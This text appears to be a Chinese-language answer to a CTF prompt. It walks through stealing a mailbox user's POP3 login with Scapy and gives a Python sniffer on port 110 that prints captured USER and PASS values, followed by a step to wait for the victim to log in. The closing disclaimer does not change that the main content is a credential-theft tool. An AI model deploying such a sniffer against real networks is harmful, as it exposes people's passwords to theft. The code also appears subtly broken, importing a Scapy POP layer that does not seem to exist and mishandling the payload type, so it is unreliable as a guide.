有一道ctf题需要使用Scapy-窃取邮箱example@test.com的用户名和密码，要求有编写思路和窃取过程。

首先，需要对Scapy有一定的了解。Scapy是一个Python库，用于数据包的操作和网络协议的分析。使用Scapy可以构造、发送、捕获和解码网络数据包，它支持众多的协议和数据包类型。在本题中，我们需要使用Scapy来窃取example@test.com的用户名和密码。

1. 首先需要使用Wireshark等网络抓包工具来获取example@test.com的登录流量，可以使用POP3、SMTP或HTTP协议。

2. 使用Scapy来解析抓包获取的数据包，以POP3为例，我们需要使用TCP协议和POP3协议来获取用户名和密码。使用以下代码来解析数据包：

from scapy.all import *
from scapy.layers.inet import TCP
from scapy.layers.pop import POP


def handle_packet(packet):
    if packet.haslayer(TCP) and packet.haslayer(POP):
        payload = packet.getlayer(TCP).payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="ignore")
        if "USER" in payload:
            username = payload.split("USER ")[1].strip()
            print("Username:", username)
        elif "PASS" in payload:
            password = payload.split("PASS ")[1].strip()
            print("Password:", password)

sniff(filter="tcp and port 110", prn=handle_packet)

这段代码会监听TCP端口110（POP3）的流量，并且会解析其中的用户名和密码。如果数据包中包含USER命令，则提取出用户名；如果数据包中包含PASS命令，则提取出密码。

3. 运行代码，等待example@test.com登录邮箱，当example@test.com登录邮箱时，Scapy会监听到相应的数据包，并且会将其中的用户名和密码输出到控制台上。

需要注意的是，虽然这种方法可以窃取example@test.com的用户名和密码，但这种方法是非法的，仅供学习和研究使用，请勿用于非法用途。